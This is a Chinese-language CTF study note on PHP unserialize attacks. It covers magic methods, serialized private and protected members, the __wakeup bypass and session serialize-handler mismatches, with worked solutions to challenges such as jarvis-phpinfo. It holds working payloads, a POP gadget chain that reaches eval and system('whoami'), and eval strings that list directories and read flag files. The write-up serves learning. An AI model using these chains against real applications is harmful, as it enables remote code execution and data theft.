- 普通的魔法方法
- public,private,protected属性序列化后的不同
- 绕过wakeup
- session反序列化
- phar反序列化
1.普通的魔法方法
__construct()
创建一个新的对象的时候会调用,不过unserialize()时不会被调用
__destruct()
对象销毁的时候被调用
__sleep()
函数serialize()调用的时候首先检查有没有这个函数,如果有则调用。这个函数的作用是删减需要进行序列化操作的的成员属性。
<?php
class test{
public $a="123";
public $b="456";
public function __sleep(){
return ['b'];
}
}
$test=new test();
echo serialize($test);
?>
//输出:O:4:"test":1:{s:1:"b";s:3:"456";}
//__sleep()只返回了成员$b,所以相当于删除了$a,$a不会进行序列互操作
__wakeup()
函数unserialize()被调用时检查有没有这个函数,有的话先执行。可以用来修改某个变量的值。
<?php
class test{
public $a="123";
public function __wakeup(){
$this->a="aaaaaaaaaaa";
}
}
$test=new test();
var_dump(unserialize('O:4:"test":1:{s:1:"a";s:3:"bbb";}'));
?>
//输出:object(test)#2 (1) { ["a"]=> string(11) "aaaaaaaaaaa" }
//因为__wakeup()修改了$a的值
__toString
一个对象值不能直接echo 输出的,可以用var_dump()。但是如果定义好__toString()的方法,就可以直接echo了
<?php
class test{
public $a="aaa";
public $b="bbb";
public $c="ccc";
public function __toString(){
return $this->a."-".$this->b."-".$this->c;
}
}
$test=new test();
echo $test;
?>
//输出 aaa-bbb-ccc
2.public,private,protected属性序列化后的不同
<?php
class test{
public $a="aaa";
private $b="bbb";
protected $c="ccc";
}
$test=new test();
echo serialize($test);
?>
浏览器上直接输出的是: O:4:"test":3:{s:1:"a";s:3:"aaa";s:7:"testb";s:3:"bbb";s:4:"*c";s:3:"ccc";}
如果查看源代码,看来应该存在不可打印字符
输出一下十六进制
这里的十六进制00是字符串和十六进制相互转化的,注意和十进制转换区分开
public的序列化看起来是最正常的
private的序列化: \00test(test是类名)\00b(b是成员名)
protected的序列化:\00*\00c(c是成员名)
这就是提示在反序列化的时候要注意\00
3.绕过wakeup
直接拿例题来说
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString(){
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?> #<!--key in flag.php-->
poc
<?php
class SoFun{
protected $file='flag.php';
}
$test=new SoFun();
$str=serialize($test);
echo $str;
echo "<br>";
echo base64_encode($str);
?>
//输出
//O:5:"SoFun":1:{s:7:"\00*\00file";s:8:"flag.php";} \00不可打印,但自己要记住
//Tzo1OiJTb0Z1biI6MTp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
我们传入
?file=Tzo1OiJTb0Z1biI6MTp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
发现仍然显示index.php,我们忽略了__wakeup()函数。
绕过方法: **当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行**
将1改为2,然后base64编码。
echo base64_encode('O:5:"SoFun":2:{s:7:"\00*\00file";s:8:"flag.php";}');
还是不行,经过查资料:
<?php
echo strlen("\00");
echo strlen('\00');
?>
//第一个输出1,第二个输出3
php中单引号对\00的处理是把它变为三个字符,这也就是为什么我们会失败的原因,\00实际上是ascii的0代表的字符,它是一个字符。用单引号把poc包含起来,所以\00失效了。
<?php
echo base64_encode("O:5:\"SoFun\":2:{s:7:\"\00*\00file\";s:8:\"flag.php\";}");
//用双引号括起来,并且把里面的双引号用\转义,不然双引号匹配出错
//输出Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt93
?>
?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt93
成功读取flag
也存在另一种方法,
<?php
echo base64_encode('O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}');
?>
//输出Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
注意到这里有一个大写的S,这里S表明\00是转义过后的字符,代表的是ascii的0,所以,即使base编码的时候单引号也可以
参考:
https://nobb.site/2016/09/13/0x22/
http://www.neatstudio.com/show-161-1.shtml
假设这道题目不进行base64编码:
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString(){
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=$_GET['file']; //唯一变化的地方
echo unserialize($file);
}
?> #<!--key in flag.php-->
直接get传参数的话\00是没有办法传进去的,让服务器知道你要传递的是ascii为0的字符,就得进行url编码,浏览器会自己解码然后传给服务器,所以是%00
还有一个重要的事情,要注意php的版本,自己搜吧,我给忘了哪个版本了
4.session反序列化
<?php
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['value'] = 'aaaaa';
?>
访问这段代码,然后在C:\softeware\phpstudy\PHPTutorial\tmp\tmp
目录,找到了sess_3ikqhdmr9jt0beid60d76u5g73这个文件,查看自己的session_id(F12看cookie):3ikqhdmr9jt0beid60d76u5g73,说明了session文件的命名规则:sess_(session_id)
查看文件内容value|s:5:"aaaaa";
,value是键,|(竖线) 后边的是值
ini_set('session.serialize_handler','php');
改为ini_set('session.serialize_handler','php_serialize');
,再次访问,值得注意的是,版本高点才会有php_serialize这种方式
查看文件a:1:{s:5:"value";s:5:"aaaaa";}
另一个不看了,自己看去吧
问题类型一:
session.auto_start=Off
php里面默认的序列化方式是php,但是自己有时候会指定别的方式,比如php_serialize,这个时候因为序列化和反序列化的方式不同导致问题
foo1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = $_GET['ryat'];
?>
foo2.php
<?php
ini_set('session.serialize_handler', 'php');
//or session.serialize_handler set to php in php.ini
session_start();
class ryat {
var $hi;
function __wakeup() {
echo 'hi';
}
function __destruct() {
echo $this->hi;
}
}?>
访问
foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}
然后访问foo2.php发现执行了 echo "hi";
问题类型二:
题目①:
php.ini的配置
源代码实际有三个文件,phpinfo.php实际上是告诉你了配置信息
index.php
<?php
ini_set('session.serialize_handler', 'php');
//服务器反序列化使用的处理器是php_serialize,而这里使用了php,所以会出现安全问题
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>
class.php
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}
?>
根据问题类型一的思路,我们已经知道了有两个不同的反序列化处理方式,我们应该是先在有ini_set('session.serialize_handler', 'php_serialize');
的地方写入 |(竖线)加上构造好的payload,让它写入session文件,然后我们访问index.php(反序列化方式为php)读取session文件实例化对象执行代码。可现在是,没有找到ini_set('session.serialize_handler', 'php_serialize')
,并且最重要的是没有找到unserialize()我们能够控制输入的地方。
这里实际上用到了另外一个思路:session.upload_progress.enabled :On
上传一个文件,php会把这次上传文件的信息保存到session文件里面,文件的信息是我们可以控制的,所以通过这个把payload写入session文件,然后访问index.php(php处理器来反序列化session文件),原理和 问题一 是一样的。
payload:
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
//new一个foo2的对象
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = new foo3();
//new一个foo3的对象
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}
class foo3{
public $varr="system('whoami');";
//要执行的东西
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}
$test=new foo1();
echo serialize($test);
//输出:O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:17:"system('whoami');";}}}
//还有执行了whoami的命令:desktop-2akj5ip\whoami_root
这是foo1的析构函数
?>
来看一下这个上传文件保存的session是啥样的。
html表单,我们要进行抓包,然后修改具体的值
<form action="http://127.0.0.1/phpinfo.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
#这里index.php和phpinfo.php都可以,存在session_start()就可以,因为我们需要的是php_seralize这个默认方式来序列化数据,不过我这里传到index.php发现并没有生成session文件,phpinfo.php却可以,再说再说。
抓包,可以利用的地方是表单value的值和文件名字,这两处选一出就可以。
还有这个cookie,一定要和你访问的cookie对应起来,因为写入读取session文件都直接和你的cookie的值有关系。
传上构造的payload,文件名字和内容记得胡乱写一下。可以看到,payload也写进去了,现在就可以用php(三种方式之一,竖线为分隔符)来反序列化了。这个时候访问index.php(ini_set('session.serialize_handler', 'php'))就可以了。
题目②:jarvis-phpinfo
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
get传参可以执行phpinfo(),然后观察phpinfo的内容。
发现php.ini的设置
session.upload_progress.enabled | On | On |
session.serialize_handler | php | php_serialize |
session.upload_progress.cleanup | Off | Off |
发现符合我们利用的条件,先构造poc:
<?php
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'system("ls");';
}
function __destruct()
{
eval($this->mdzz);
}
}
echo serialize(new OowoO());
?>
构造的上传文件表单
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
#上传的时候序列化的方式是默认方式php_serialize
上传的时候注意cookie一定要是一样的哟。
发现没有反应,本地复现成功,就想会不会是禁用了函数或者权限比较低,可以思考一下,这里和有没有回显是没有关系的哟。
不过有几个函数:
print_r (),scandir(),var_dump(),glob(),file_get_contents(),rename(),unlink(),rmdir(),fwirte(),fopen()
可以试一下(我想往里面写一个小马的时候才发现重命名,删除文件,写文件的函数不行,但是assert却是可以的)
poc改为$this->mdzz = "print_r(scandir('./'));";
先来看下当前目录有啥东西:
发现不是当前目录,搞来搞去,发现.(dot)没法用,所以只好用绝对目录,看了下phpinfo.php,发现文件在/opt/lampp/htdocs/下边,构造$this->mdzz = "print_r(scandir('/opt/lampp/htdocs/'));";
直接访问flag文件是空白的,根据这个名字可能是故意不想让你看到,所以利用file_get_contents()来读文件
$this->mdzz = "print_r(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));";